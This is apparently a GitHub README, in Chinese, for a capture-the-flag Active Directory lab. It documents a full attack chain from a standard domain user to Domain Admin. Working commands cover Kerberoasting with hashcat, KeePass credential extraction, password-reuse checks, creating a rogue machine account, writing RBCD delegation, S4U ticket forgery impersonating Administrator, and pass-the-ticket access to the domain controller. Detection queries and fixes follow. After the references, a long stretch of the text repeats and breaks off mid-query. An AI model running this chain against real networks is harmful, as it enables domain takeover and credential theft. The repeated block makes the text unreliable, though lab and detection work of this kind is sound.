InsiyahBhatia/forward-active-directory-rbcd-lab
GitHub: InsiyahBhatia/forward-active-directory-rbcd-lab
一个 Active Directory 攻击模拟实验室,通过 RBCD 攻击链演示从低权限域用户到域管理员的完整权限提升路径及防御检测方法。
Stars: 1 | Forks: 0
# Forward — 通过 RBCD 进行 Active Directory 权限提升
## 目录
- [概述](#overview)
- [展示技能](#skills-demonstrated)
- [靶场架构](#lab-architecture)
- [攻击路径摘要](#attack-path-summary)
- [阶段演练](#phase-walkthrough)
- [阶段 1 — 网络侦察](#phase-1--network-reconnaissance)
- [阶段 2 — LDAP 和域枚举](#phase-2--ldap--domain-enumeration)
- [阶段 3 — Kerberoasting](#phase-3--kerberoasting)
- [阶段 4 — SMB 枚举与 RDP 访问](#phase-4--smb-enumeration--rdp-access)
- [阶段 5 — 通过 KeePass 窃取凭证](#phase-5--credential-harvesting-via-keepass)
- [阶段 6 — 密码重用与横向移动](#phase-6--password-reuse--lateral-movement)
- [阶段 7 — MachineAccountQuota 发现](#phase-7--machineaccountquota-discovery)
- [阶段 8 — RBCD 攻击链](#phase-8--rbcd-attack-chain)
- [阶段 9 — Kerberos S4U2Self 与 S4U2Proxy](#phase-9--kerberos-s4u2self--s4u2proxy)
- [阶段 10 — Pass-the-Ticket 与 Domain Admin](#phase-10--pass-the-ticket--domain-admin)
- [MITRE ATT&CK 映射](#mitre-attck-mapping)
- [检测机会](#detection-opportunities)
- [经验总结](#lessons-learned)
- [参考资料](#references)
## 概述
本靶场记录了一次完整的端到端 Active Directory 攻陷过程,从单个低权限域凭证开始,最终获得完整的 Domain Admin 访问权限。该攻击链展示了如何将一系列单独来看严重程度较低的配置错误(密码重用、开放的 `MachineAccountQuota` 以及配置错误的 Kerberos 委派)组合起来,在无需利用任何 CVE 的情况下实现域控制。
**初始据点:** `j.smith` — 标准域用户,无特殊权限
**最终访问权限:** `Administrator` — 通过 RBCD + Pass-the-Ticket 获得完整的 Domain Admin 权限
## 展示技能
| 类别 | 技术 |
|---|---|
| 侦察 | Nmap, CrackMapExec, LDAP 查询 |
| Active Directory | 用户/组枚举, SPN, 委派属性 |
| 凭证攻击 | Kerberoasting, KeePass 提取, 密码重用验证 |
| Kerberos | TGT/TGS 机制, S4U2Self, S4U2Proxy, Pass-the-Ticket |
| 权限提升 | MachineAccountQuota 滥用, RBCD 配置 |
| 后渗透 | SMB 横向移动, 管理共享访问 |
| 检测工程 | Windows Event ID, Splunk SPL 检测查询 |
## 靶场架构
```
graph TD
A[Kali Linux
Attacker] -->|Network Access| B[DC01
Windows Server 2019
Domain Controller] B --> C[Active Directory
CTF.LOCAL] C --> D[j.smith
Standard User] C --> E[t.jones
Help Desk] C --> F[r.williams
IT User] C --> G[svc.helpdesk
Service Account / SPN] C --> H[Administrator
Domain Admin] C --> I[HERMESMED$
Rogue Machine Account
Created by attacker] style A fill:#c0392b,color:#fff style B fill:#2c3e50,color:#fff style I fill:#e74c3c,color:#fff style H fill:#27ae60,color:#fff ``` **暴露的服务:** | 端口 | 服务 | 备注 | |---|---|---| | 53 | DNS | 域名解析 | | 88 | Kerberos | 认证协议 | | 135 | RPC | Endpoint mapper | | 139 | NetBIOS | 传统名称解析 | | 389 | LDAP | 无需认证即可枚举 | | 445 | SMB | 签名状态至关重要 | | 636 | LDAPS | 加密的 LDAP | | 3389 | RDP | 初始 GUI 访问 | | 5985 | WinRM | 后渗透 | ## 攻击路径摘要 ``` flowchart TD A([Initial Credential\nj.smith]) --> B[Network Recon\nNmap · CrackMapExec] B --> C[LDAP Enumeration\nUsers · Groups · SPNs] C --> D[Kerberoasting\nsvc.helpdesk — hash not cracked] C --> E[SMB Enumeration\nShares · Files] E --> F[RDP Access\nj.smith interactive session] F --> G[KeePass Discovery\nDatabase.kdbx on filesystem] G --> H[Credential Extraction\nt.jones / Helpdesk01!] H --> I[Password Reuse Validation\nt.jones → r.williams] I --> J[AD Enumeration as r.williams\nms-DS-MachineAccountQuota = 10] J --> K[Create Rogue Machine Account\nHERMESMED$ via impacket-addcomputer] K --> L[Configure RBCD\nmsDS-AllowedToActOnBehalfOfOtherIdentity] L --> M[Kerberos S4U2Self\nRequest TGS for Administrator] M --> N[Kerberos S4U2Proxy\nDelegate ticket to cifs/DC01] N --> O[Pass-the-Ticket\nexport KRB5CCNAME] O --> P([Domain Administrator\nC$ · flag.txt]) style A fill:#3498db,color:#fff style P fill:#27ae60,color:#fff style D fill:#e67e22,color:#fff ``` ## 阶段演练 ### 阶段 1 — 网络侦察 **目标:** 在尝试认证之前映射所有暴露的服务。每一次不必要的认证尝试都有可能引起防御者的警觉。 ``` # 初始 SYN 扫描(所有端口) nmap -p- --min-rate 5000 -T4 10.48.137.121 -oN nmap-allports.txt # 对已发现端口进行服务和版本检测 nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,3389 10.48.137.121 -oN nmap-services.txt ```  ``` # 详细的服务版本扫描 nmap -sV 10.48.137.121 ```  **结果:** 识别到 Domain Controller,开放了 DNS (53)、Kerberos (88)、LDAP (389/636)、SMB (445)、RDP (3389) 等服务。 **重要性:** SMB 签名状态决定了 NTLM relay 攻击是否可行。开放了匿名绑定的 LDAP 端口可以在无需凭证的情况下暴露域结构。 ### 阶段 2 — LDAP 和域枚举 **目标:** 在接触任何需要认证的服务之前,提取所有域用户、组和服务主体名称(SPN)。 ``` # 检查 LDAP 命名上下文(匿名绑定) ldapsearch -x -H ldap://10.48.137.121 -s base namingcontexts ```  ``` # 枚举域用户 impacket-GetADUsers ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.48.137.121 -all ```  ``` # 枚举 SPN(可 Kerberoast 的账户) impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.48.137.121 ``` ``` # 检查 sysadmin 组成员身份 ldapsearch -x -H ldap://10.48.137.121 -D "CTF\j.smith" -w 'JSmith@IT2024' \ -b "DC=ctf,DC=local" "(cn=sysadmin)" ```  ``` # 枚举 r.williams 详情 ldapsearch -x -H ldap://10.48.137.121 -D "CTF\j.smith" -w 'JSmith@IT2024' \ -b "DC=ctf,DC=local" "(sAMAccountName=r.williams)" ```  **发现的用户:** | 用户名 | 角色 | 备注 | |---|---|---| | Administrator | Domain Admin | 主要目标 | | Guest | 已禁用 | — | | krbtgt | KDC 账户 | — | | j.smith | 标准用户 | 初始据点 | | t.jones | Help Desk | 凭证目标 | | r.williams | Help Desk 高级 | sysadmin + RDP 访问权限 | | svc.helpdesk | 服务账户 | 已注册 SPN — 可被 Kerberoasting | **关键发现:** r.williams 是 **sysadmin** 组和 **Remote Desktop Users** 的成员 — 横向移动的高价值目标。 ### 阶段 3 — Kerberoasting **目标:** 请求 `svc.helpdesk` 的 Kerberos 服务票据并尝试离线密码破解。 **Kerberoasting 原理:** ``` sequenceDiagram participant Attacker participant KDC as Key Distribution Centre (DC01) Attacker->>KDC: AS-REQ (TGT request for j.smith) KDC-->>Attacker: AS-REP (TGT encrypted with j.smith's key) Attacker->>KDC: TGS-REQ (request service ticket for svc.helpdesk SPN) KDC-->>Attacker: TGS-REP (ticket encrypted with svc.helpdesk's NTLM hash) Attacker->>Attacker: Extract hash → offline crack with hashcat ``` ``` # 提取 Kerberos 服务票据哈希 impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' \ -dc-ip 10.48.137.121 -request -outputfile kerberoast-hashes.txt ```  ``` # 尝试使用 RockYou 字典进行破解 hashcat -m 13100 kerberoast-hashes.txt /usr/share/wordlists/rockyou.txt --force ```  **结果:** `svc.helpdesk` 哈希**未能**使用 RockYou 破解。这种转变是合理的 —— 服务账户密码通常很长/自动生成(在生产环境中通常为 40 个字符以上),这使得离线破解不太可能成功。继续在无法破解的哈希上投入计算能力只会浪费时间;更明智的做法是将注意力转移到通过现有访问路径窃取凭证上。 ### 阶段 4 — SMB 枚举与 RDP 访问 **目标:** 识别可读的共享以寻找凭证文件。获取交互式会话。 ``` # 检查 SMB 签名状态 crackmapexec smb 10.48.137.121 # 列出可访问的共享 crackmapexec smb 10.48.137.121 -u j.smith -p 'JSmith@IT2024' --shares ```  ``` # 带有权限的详细共享枚举 smbmap -H 10.48.137.121 -u j.smith -p 'JSmith@IT2024' -R ```  ``` # RDP 访问 — 以 j.smith 身份进行的交互式会话 xfreerdp /v:10.48.137.121 /u:j.smith /p:'JSmith@IT2024' /cert:ignore /dynamic-resolution ```  **发现的共享:** `SYSVOL`, `NETLOGON`, `Downloads`, `IPC$`, `ADMIN$`, `C$` ### 阶段 5 — 通过 KeePass 窃取凭证 **目标:** 在交互式会话中搜索本地存储的凭证。 **什么是 KeePass?** KeePass 是一款离线密码管理器。数据库(`.kdbx`)使用主密码进行加密。如果使用了弱主密码,凭证就可能被提取。 ``` # 在文件系统中搜索 KeePass 数据库 Get-ChildItem -Path C:\ -Recurse -Include *.kdbx -ErrorAction SilentlyContinue ``` **找到:** `C:\Users\j.smith\Documents\Database.kdbx`  **通过 KeePass 提取的凭证:**  ``` Entry: Help Desk Portal Username: t.jones Password: Helpdesk01! ``` ### 阶段 6 — 密码重用与横向移动 **目标:** 验证提取的凭证并检查其他账户之间是否存在密码重用。 ``` # 验证 t.jones 凭据 + 检查 r.williams 的密码重用 crackmapexec smb 10.48.137.121 -u t.jones -p 'Helpdesk01!' crackmapexec smb 10.48.137.121 -u r.williams -p 'Helpdesk01!' ```  ``` # 以 r.williams 身份进行认证会话 crackmapexec smb 10.48.137.121 -u r.williams -p 'Helpdesk01!' xfreerdp /v:10.48.137.121 /u:r.williams /p:'Helpdesk01!' /cert:ignore ```  **结果:** `Helpdesk01!` 对 `t.jones` 和 `r.williams` 均有效。 ``` j.smith → [initial foothold] t.jones → [extracted from KeePass] r.williams → [password reuse — same credential] ``` ### 阶段 7 — MachineAccountQuota 发现 **目标:** 确定已认证用户是否可以创建计算机对象 — 这是滥用 RBCD 的前提条件。 **什么是 `ms-DS-MachineAccountQuota`?** 默认情况下,此域属性设置为 **10**,意味着任何已认证的域用户最多可以将 10 台计算机加入域。在经过安全强化的环境中,此值应为 **0**。 ``` # 通过 LDAP 检查 MachineAccountQuota ldapsearch -x -H ldap://10.48.137.121 -D "CTF\r.williams" -w 'Helpdesk01!' \ -b "DC=ctf,DC=local" "(objectClass=domainDNS)" ms-DS-MachineAccountQuota ```  ``` # 从 r.williams 的 RDP 会话进行权限分析 whoami /priv ```  **发现:** - `ms-DS-MachineAccountQuota: 10` — 允许创建恶意计算机账户 - 存在 `SeMachineAccountPrivilege` — 尽管标记为“Disabled”,但配额仍然允许攻击 ### 阶段 8 — RBCD 攻击链 **目标:** 滥用 `MachineAccountQuota` 创建受控计算机账户,然后配置基于资源的约束委派(RBCD)来冒充 Administrator。 #### 什么是基于资源的约束委派? 传统委派问的是:*“账户 A 可以委派给哪些服务?”* RBCD 将此反转:*“服务 B 愿意接受哪些账户的委派?”* 计算机对象上的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性定义了哪些账户受信任可以代表它行事。如果攻击者能够**写入**此属性,他们就可以伪造作为任何用户(包括 `Administrator`)的服务票据。 ``` flowchart LR A[r.williams\nDomain User] -->|MachineAccountQuota = 10| B[Create HERMESMED$\nimpacket-addcomputer] B -->|Write msDS-AllowedToActOnBehalfOfOtherIdentity| C[DC01$\nTarget Machine] C -->|Now trusts| B B -->|S4U2Self + S4U2Proxy| D[Administrator\nService Ticket for cifs/DC01] D --> E([Domain Admin Access]) style A fill:#3498db,color:#fff style B fill:#e74c3c,color:#fff style E fill:#27ae60,color:#fff ``` ``` # 步骤 1:创建 rogue 机器账户 impacket-addcomputer -dc-ip 10.48.137.121 \ -computer-name HERMESMED$ \ -computer-pass 'HermesRBCD!2026' \ ctf.local/r.williams:'Helpdesk01!' ```  ``` # 步骤 2:配置 RBCD — 设置 msDS-AllowedToActOnBehalfOfOtherIdentity impacket-rbcd \ -dc-ip 10.48.137.121 \ -action write \ -delegate-to DC01$ \ -delegate-from HERMESMED$ \ ctf.local/r.williams:'Helpdesk01!' ```  ### 阶段 9 — Kerberos S4U2Self 与 S4U2Proxy **目标:** 使用恶意计算机账户获取 `DC01` 上 `Administrator` 的伪造 Kerberos 服务票据。 #### S4U2Self 和 S4U2Proxy 的工作原理 ``` sequenceDiagram participant Attacker as HERMESMED$\n(Attacker-controlled) participant KDC as KDC (DC01) participant Target as DC01$\n(Target) Attacker->>KDC: S4U2Self — "Give me a TGS for Administrator\nto use our own service" KDC-->>Attacker: TGS (for Administrator → HERMESMED$) Note over Attacker,KDC: This works because RBCD is configured Attacker->>KDC: S4U2Proxy — "Use this TGS to get a ticket\nfor cifs/DC01 on behalf of Administrator" KDC-->>Attacker: Service ticket for cifs/DC01 as Administrator Attacker->>Target: Use ticket to access C$ ``` ``` # 使用 S4U 生成 Administrator 服务票据 impacket-getST \ -dc-ip 10.48.137.121 \ -spn cifs/DC01.ctf.local \ -impersonate Administrator \ ctf.local/HERMESMED$:'HermesRBCD!2026' # 验证票据是否已生成 ls -la Administrator.ccache ```  ### 阶段 10 — Pass-the-Ticket 与 Domain Admin **目标:** 加载伪造的 Kerberos 凭证缓存并以 Administrator 身份认证到 DC01。 ``` # 将 ccache 加载到环境中 export KRB5CCNAME=./Administrator.ccache # 验证票据是否已加载 klist ```  ``` # 使用 Kerberos 认证访问 Administrator 的共享 impacket-smbclient -k -no-pass Administrator@dc01.ctf.local ```  ``` # 在 smbclient 内部 — 导航到桌面并获取 flag use C$ cd Users\Administrator\Desktop get flag.txt exit # 显示 flag cat flag.txt ```  ``` THM{RBCD_S4U2Pr0xy_Tick3t_Th3ft_2_DA} ``` ## MITRE ATT&CK 映射 | 技术 | ID | 阶段 | |---|---|---| | 网络服务发现 | T1046 | 侦察 | | 账户发现:域账户 | T1087.002 | 枚举 | | OS 凭证转储:Kerberoasting | T1558.003 | 凭证访问 | | 来自密码存储的凭证 | T1555 | 凭证访问 | | 有效账户:域账户 | T1078.002 | 横向移动 | | 远程服务:SMB/Windows 管理共享 | T1021.002 | 横向移动 | | 远程服务:远程桌面协议 | T1021.001 | 横向移动 | | 窃取或伪造 Kerberos 票据:Kerberoasting | T1558.003 | 权限提升 | | 窃取或伪造 Kerberos 票据:Pass the Ticket | T1550.003 | 横向移动 | | 域策略修改 | T1484 | 权限提升 | | 创建账户:计算机账户 | T1136.001 | 持久化 | ## 检测机会 ### 关键 Windows Event ID | 事件 ID | 描述 | 触发时机 | |---|---|---| | `4624` | 登录成功 | 每一次横向移动步骤 | | `4662` | 对 AD 对象执行的操作 | LDAP 枚举, RBCD 写入 | | `4741` | 创建了新的计算机账户 | `impacket-addcomputer` | | `4742` | 计算机账户已修改 | RBCD 属性更改 | | `4768` | 请求 Kerberos TGT | S4U2Self | | `4769` | 请求 Kerberos 服务票据 | S4U2Proxy | | `5136` | 目录对象已修改 | 写入 `msDS-AllowedToActOnBehalfOfOtherIdentity` | ### Splunk 检测查询 ``` # 新计算机账户创建 — 可能的 MachineAccountQuota 滥用 index=wineventlog EventCode=4741 | table _time, SubjectUserName, NewAccountName, ComputerName | where match(NewAccountName, "\$") ```
```
# Kerberos 服务票据请求 — 潜在的 S4U2Proxy
index=wineventlog EventCode=4769 TicketOptions="0x40810010"
| table _time, AccountName, ServiceName, ClientAddress
| where ServiceName != "krbtgt"
```
```
# Kerberos 票据使用后的网络登录 — Pass-the-Ticket 模式
index=wineventlog EventCode=4624 LogonType=3 AuthenticationPackageName=Kerberos
| table _time, AccountName, WorkstationName, IpAddress
| where AccountName="Administrator"
```
完整检测查询见 [`detection/splunk-searches.md`](detection/splunk-searches.md)。
## 经验总结
### 攻击者所依赖的因素
| 配置错误 | 影响 | 修复方法 |
|---|---|---|
| Help Desk 账户间的密码重用 | 提取的一个凭证危及了两个账户 | 强制使用独立密码;使用 PAM 工具 |
| `ms-DS-MachineAccountQuota = 10` | 任何域用户都能创建计算机对象 | 通过 GPO 或 AD 属性将其设置为 `0` |
| KeePass 数据库无 ACL 限制访问 | 无需管理员权限即可发现凭证数据库 | 使用 ACL 进行限制;使用企业级保险库 |
| 缺乏 BloodHound 式的 ACL 监控 | RBCD 属性写入未被发现 | 部署 Purple Knight / Semperis |
| 没有针对 Event ID 4741 的告警 | 恶意计算机账户的创建未被察觉 | 针对非管理员用户创建新计算机账户配置 SIEM 规则 |
### 在实际交战中我会采取的不同做法
1. **在渗透前运行 BloodHound** — 这样就能立即直观地看到从 `r.williams` 到 `DC01$` 的 RBCD 路径
2. **验证每一个委派步骤** — 在写入 RBCD 后使用 `ldapsearch`/`dsacls` 验证,并在生成 `.ccache` 后使用 `klist` 验证
3. **在发生权限转换时立即记录** — 捕获显示委派属性更改的确切 `ldapsearch` 输出
4. **包含清理步骤** — 在检索到 flag 后移除 `HERMESMED$` 并恢复原始的委派属性
## 参考资料
- [Impacket — SecureAuthCorp](https://github.com/fortra/impacket)
- [RBCD Explained — Elad Shamir](https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html)
- [S4U2Proxy Abuse — harmj0y](https://blog.harmj0y.net/activedirectory/s4u2pwnage/)
- [MITRE ATT&CK — Active Directory](https://attack.mitre.org/tactics/TA0006/)
- [TryHackMe — Forward Room](https://tryhackme.com)
- [BloodHound — BloodHoundAD](https://github.com/BloodHoundAD/BloodHound)
Attacker] -->|Network Access| B[DC01
Windows Server 2019
Domain Controller] B --> C[Active Directory
CTF.LOCAL] C --> D[j.smith
Standard User] C --> E[t.jones
Help Desk] C --> F[r.williams
IT User] C --> G[svc.helpdesk
Service Account / SPN] C --> H[Administrator
Domain Admin] C --> I[HERMESMED$
Rogue Machine Account
Created by attacker] style A fill:#c0392b,color:#fff style B fill:#2c3e50,color:#fff style I fill:#e74c3c,color:#fff style H fill:#27ae60,color:#fff ``` **暴露的服务:** | 端口 | 服务 | 备注 | |---|---|---| | 53 | DNS | 域名解析 | | 88 | Kerberos | 认证协议 | | 135 | RPC | Endpoint mapper | | 139 | NetBIOS | 传统名称解析 | | 389 | LDAP | 无需认证即可枚举 | | 445 | SMB | 签名状态至关重要 | | 636 | LDAPS | 加密的 LDAP | | 3389 | RDP | 初始 GUI 访问 | | 5985 | WinRM | 后渗透 | ## 攻击路径摘要 ``` flowchart TD A([Initial Credential\nj.smith]) --> B[Network Recon\nNmap · CrackMapExec] B --> C[LDAP Enumeration\nUsers · Groups · SPNs] C --> D[Kerberoasting\nsvc.helpdesk — hash not cracked] C --> E[SMB Enumeration\nShares · Files] E --> F[RDP Access\nj.smith interactive session] F --> G[KeePass Discovery\nDatabase.kdbx on filesystem] G --> H[Credential Extraction\nt.jones / Helpdesk01!] H --> I[Password Reuse Validation\nt.jones → r.williams] I --> J[AD Enumeration as r.williams\nms-DS-MachineAccountQuota = 10] J --> K[Create Rogue Machine Account\nHERMESMED$ via impacket-addcomputer] K --> L[Configure RBCD\nmsDS-AllowedToActOnBehalfOfOtherIdentity] L --> M[Kerberos S4U2Self\nRequest TGS for Administrator] M --> N[Kerberos S4U2Proxy\nDelegate ticket to cifs/DC01] N --> O[Pass-the-Ticket\nexport KRB5CCNAME] O --> P([Domain Administrator\nC$ · flag.txt]) style A fill:#3498db,color:#fff style P fill:#27ae60,color:#fff style D fill:#e67e22,color:#fff ``` ## 阶段演练 ### 阶段 1 — 网络侦察 **目标:** 在尝试认证之前映射所有暴露的服务。每一次不必要的认证尝试都有可能引起防御者的警觉。 ``` # 初始 SYN 扫描(所有端口) nmap -p- --min-rate 5000 -T4 10.48.137.121 -oN nmap-allports.txt # 对已发现端口进行服务和版本检测 nmap -sC -sV -p 53,88,135,139,389,445,636,3268,3269,3389 10.48.137.121 -oN nmap-services.txt ```  ``` # 详细的服务版本扫描 nmap -sV 10.48.137.121 ```  **结果:** 识别到 Domain Controller,开放了 DNS (53)、Kerberos (88)、LDAP (389/636)、SMB (445)、RDP (3389) 等服务。 **重要性:** SMB 签名状态决定了 NTLM relay 攻击是否可行。开放了匿名绑定的 LDAP 端口可以在无需凭证的情况下暴露域结构。 ### 阶段 2 — LDAP 和域枚举 **目标:** 在接触任何需要认证的服务之前,提取所有域用户、组和服务主体名称(SPN)。 ``` # 检查 LDAP 命名上下文(匿名绑定) ldapsearch -x -H ldap://10.48.137.121 -s base namingcontexts ```  ``` # 枚举域用户 impacket-GetADUsers ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.48.137.121 -all ```  ``` # 枚举 SPN(可 Kerberoast 的账户) impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' -dc-ip 10.48.137.121 ``` ``` # 检查 sysadmin 组成员身份 ldapsearch -x -H ldap://10.48.137.121 -D "CTF\j.smith" -w 'JSmith@IT2024' \ -b "DC=ctf,DC=local" "(cn=sysadmin)" ```  ``` # 枚举 r.williams 详情 ldapsearch -x -H ldap://10.48.137.121 -D "CTF\j.smith" -w 'JSmith@IT2024' \ -b "DC=ctf,DC=local" "(sAMAccountName=r.williams)" ```  **发现的用户:** | 用户名 | 角色 | 备注 | |---|---|---| | Administrator | Domain Admin | 主要目标 | | Guest | 已禁用 | — | | krbtgt | KDC 账户 | — | | j.smith | 标准用户 | 初始据点 | | t.jones | Help Desk | 凭证目标 | | r.williams | Help Desk 高级 | sysadmin + RDP 访问权限 | | svc.helpdesk | 服务账户 | 已注册 SPN — 可被 Kerberoasting | **关键发现:** r.williams 是 **sysadmin** 组和 **Remote Desktop Users** 的成员 — 横向移动的高价值目标。 ### 阶段 3 — Kerberoasting **目标:** 请求 `svc.helpdesk` 的 Kerberos 服务票据并尝试离线密码破解。 **Kerberoasting 原理:** ``` sequenceDiagram participant Attacker participant KDC as Key Distribution Centre (DC01) Attacker->>KDC: AS-REQ (TGT request for j.smith) KDC-->>Attacker: AS-REP (TGT encrypted with j.smith's key) Attacker->>KDC: TGS-REQ (request service ticket for svc.helpdesk SPN) KDC-->>Attacker: TGS-REP (ticket encrypted with svc.helpdesk's NTLM hash) Attacker->>Attacker: Extract hash → offline crack with hashcat ``` ``` # 提取 Kerberos 服务票据哈希 impacket-GetUserSPNs ctf.local/j.smith:'JSmith@IT2024' \ -dc-ip 10.48.137.121 -request -outputfile kerberoast-hashes.txt ```  ``` # 尝试使用 RockYou 字典进行破解 hashcat -m 13100 kerberoast-hashes.txt /usr/share/wordlists/rockyou.txt --force ```  **结果:** `svc.helpdesk` 哈希**未能**使用 RockYou 破解。这种转变是合理的 —— 服务账户密码通常很长/自动生成(在生产环境中通常为 40 个字符以上),这使得离线破解不太可能成功。继续在无法破解的哈希上投入计算能力只会浪费时间;更明智的做法是将注意力转移到通过现有访问路径窃取凭证上。 ### 阶段 4 — SMB 枚举与 RDP 访问 **目标:** 识别可读的共享以寻找凭证文件。获取交互式会话。 ``` # 检查 SMB 签名状态 crackmapexec smb 10.48.137.121 # 列出可访问的共享 crackmapexec smb 10.48.137.121 -u j.smith -p 'JSmith@IT2024' --shares ```  ``` # 带有权限的详细共享枚举 smbmap -H 10.48.137.121 -u j.smith -p 'JSmith@IT2024' -R ```  ``` # RDP 访问 — 以 j.smith 身份进行的交互式会话 xfreerdp /v:10.48.137.121 /u:j.smith /p:'JSmith@IT2024' /cert:ignore /dynamic-resolution ```  **发现的共享:** `SYSVOL`, `NETLOGON`, `Downloads`, `IPC$`, `ADMIN$`, `C$` ### 阶段 5 — 通过 KeePass 窃取凭证 **目标:** 在交互式会话中搜索本地存储的凭证。 **什么是 KeePass?** KeePass 是一款离线密码管理器。数据库(`.kdbx`)使用主密码进行加密。如果使用了弱主密码,凭证就可能被提取。 ``` # 在文件系统中搜索 KeePass 数据库 Get-ChildItem -Path C:\ -Recurse -Include *.kdbx -ErrorAction SilentlyContinue ``` **找到:** `C:\Users\j.smith\Documents\Database.kdbx`  **通过 KeePass 提取的凭证:**  ``` Entry: Help Desk Portal Username: t.jones Password: Helpdesk01! ``` ### 阶段 6 — 密码重用与横向移动 **目标:** 验证提取的凭证并检查其他账户之间是否存在密码重用。 ``` # 验证 t.jones 凭据 + 检查 r.williams 的密码重用 crackmapexec smb 10.48.137.121 -u t.jones -p 'Helpdesk01!' crackmapexec smb 10.48.137.121 -u r.williams -p 'Helpdesk01!' ```  ``` # 以 r.williams 身份进行认证会话 crackmapexec smb 10.48.137.121 -u r.williams -p 'Helpdesk01!' xfreerdp /v:10.48.137.121 /u:r.williams /p:'Helpdesk01!' /cert:ignore ```  **结果:** `Helpdesk01!` 对 `t.jones` 和 `r.williams` 均有效。 ``` j.smith → [initial foothold] t.jones → [extracted from KeePass] r.williams → [password reuse — same credential] ``` ### 阶段 7 — MachineAccountQuota 发现 **目标:** 确定已认证用户是否可以创建计算机对象 — 这是滥用 RBCD 的前提条件。 **什么是 `ms-DS-MachineAccountQuota`?** 默认情况下,此域属性设置为 **10**,意味着任何已认证的域用户最多可以将 10 台计算机加入域。在经过安全强化的环境中,此值应为 **0**。 ``` # 通过 LDAP 检查 MachineAccountQuota ldapsearch -x -H ldap://10.48.137.121 -D "CTF\r.williams" -w 'Helpdesk01!' \ -b "DC=ctf,DC=local" "(objectClass=domainDNS)" ms-DS-MachineAccountQuota ```  ``` # 从 r.williams 的 RDP 会话进行权限分析 whoami /priv ```  **发现:** - `ms-DS-MachineAccountQuota: 10` — 允许创建恶意计算机账户 - 存在 `SeMachineAccountPrivilege` — 尽管标记为“Disabled”,但配额仍然允许攻击 ### 阶段 8 — RBCD 攻击链 **目标:** 滥用 `MachineAccountQuota` 创建受控计算机账户,然后配置基于资源的约束委派(RBCD)来冒充 Administrator。 #### 什么是基于资源的约束委派? 传统委派问的是:*“账户 A 可以委派给哪些服务?”* RBCD 将此反转:*“服务 B 愿意接受哪些账户的委派?”* 计算机对象上的 `msDS-AllowedToActOnBehalfOfOtherIdentity` 属性定义了哪些账户受信任可以代表它行事。如果攻击者能够**写入**此属性,他们就可以伪造作为任何用户(包括 `Administrator`)的服务票据。 ``` flowchart LR A[r.williams\nDomain User] -->|MachineAccountQuota = 10| B[Create HERMESMED$\nimpacket-addcomputer] B -->|Write msDS-AllowedToActOnBehalfOfOtherIdentity| C[DC01$\nTarget Machine] C -->|Now trusts| B B -->|S4U2Self + S4U2Proxy| D[Administrator\nService Ticket for cifs/DC01] D --> E([Domain Admin Access]) style A fill:#3498db,color:#fff style B fill:#e74c3c,color:#fff style E fill:#27ae60,color:#fff ``` ``` # 步骤 1:创建 rogue 机器账户 impacket-addcomputer -dc-ip 10.48.137.121 \ -computer-name HERMESMED$ \ -computer-pass 'HermesRBCD!2026' \ ctf.local/r.williams:'Helpdesk01!' ```  ``` # 步骤 2:配置 RBCD — 设置 msDS-AllowedToActOnBehalfOfOtherIdentity impacket-rbcd \ -dc-ip 10.48.137.121 \ -action write \ -delegate-to DC01$ \ -delegate-from HERMESMED$ \ ctf.local/r.williams:'Helpdesk01!' ```  ### 阶段 9 — Kerberos S4U2Self 与 S4U2Proxy **目标:** 使用恶意计算机账户获取 `DC01` 上 `Administrator` 的伪造 Kerberos 服务票据。 #### S4U2Self 和 S4U2Proxy 的工作原理 ``` sequenceDiagram participant Attacker as HERMESMED$\n(Attacker-controlled) participant KDC as KDC (DC01) participant Target as DC01$\n(Target) Attacker->>KDC: S4U2Self — "Give me a TGS for Administrator\nto use our own service" KDC-->>Attacker: TGS (for Administrator → HERMESMED$) Note over Attacker,KDC: This works because RBCD is configured Attacker->>KDC: S4U2Proxy — "Use this TGS to get a ticket\nfor cifs/DC01 on behalf of Administrator" KDC-->>Attacker: Service ticket for cifs/DC01 as Administrator Attacker->>Target: Use ticket to access C$ ``` ``` # 使用 S4U 生成 Administrator 服务票据 impacket-getST \ -dc-ip 10.48.137.121 \ -spn cifs/DC01.ctf.local \ -impersonate Administrator \ ctf.local/HERMESMED$:'HermesRBCD!2026' # 验证票据是否已生成 ls -la Administrator.ccache ```  ### 阶段 10 — Pass-the-Ticket 与 Domain Admin **目标:** 加载伪造的 Kerberos 凭证缓存并以 Administrator 身份认证到 DC01。 ``` # 将 ccache 加载到环境中 export KRB5CCNAME=./Administrator.ccache # 验证票据是否已加载 klist ```  ``` # 使用 Kerberos 认证访问 Administrator 的共享 impacket-smbclient -k -no-pass Administrator@dc01.ctf.local ```  ``` # 在 smbclient 内部 — 导航到桌面并获取 flag use C$ cd Users\Administrator\Desktop get flag.txt exit # 显示 flag cat flag.txt ```  ``` THM{RBCD_S4U2Pr0xy_Tick3t_Th3ft_2_DA} ``` ## MITRE ATT&CK 映射 | 技术 | ID | 阶段 | |---|---|---| | 网络服务发现 | T1046 | 侦察 | | 账户发现:域账户 | T1087.002 | 枚举 | | OS 凭证转储:Kerberoasting | T1558.003 | 凭证访问 | | 来自密码存储的凭证 | T1555 | 凭证访问 | | 有效账户:域账户 | T1078.002 | 横向移动 | | 远程服务:SMB/Windows 管理共享 | T1021.002 | 横向移动 | | 远程服务:远程桌面协议 | T1021.001 | 横向移动 | | 窃取或伪造 Kerberos 票据:Kerberoasting | T1558.003 | 权限提升 | | 窃取或伪造 Kerberos 票据:Pass the Ticket | T1550.003 | 横向移动 | | 域策略修改 | T1484 | 权限提升 | | 创建账户:计算机账户 | T1136.001 | 持久化 | ## 检测机会 ### 关键 Windows Event ID | 事件 ID | 描述 | 触发时机 | |---|---|---| | `4624` | 登录成功 | 每一次横向移动步骤 | | `4662` | 对 AD 对象执行的操作 | LDAP 枚举, RBCD 写入 | | `4741` | 创建了新的计算机账户 | `impacket-addcomputer` | | `4742` | 计算机账户已修改 | RBCD 属性更改 | | `4768` | 请求 Kerberos TGT | S4U2Self | | `4769` | 请求 Kerberos 服务票据 | S4U2Proxy | | `5136` | 目录对象已修改 | 写入 `msDS-AllowedToActOnBehalfOfOtherIdentity` | ### Splunk 检测查询 ``` # 新计算机账户创建 — 可能的 MachineAccountQuota 滥用 index=wineventlog 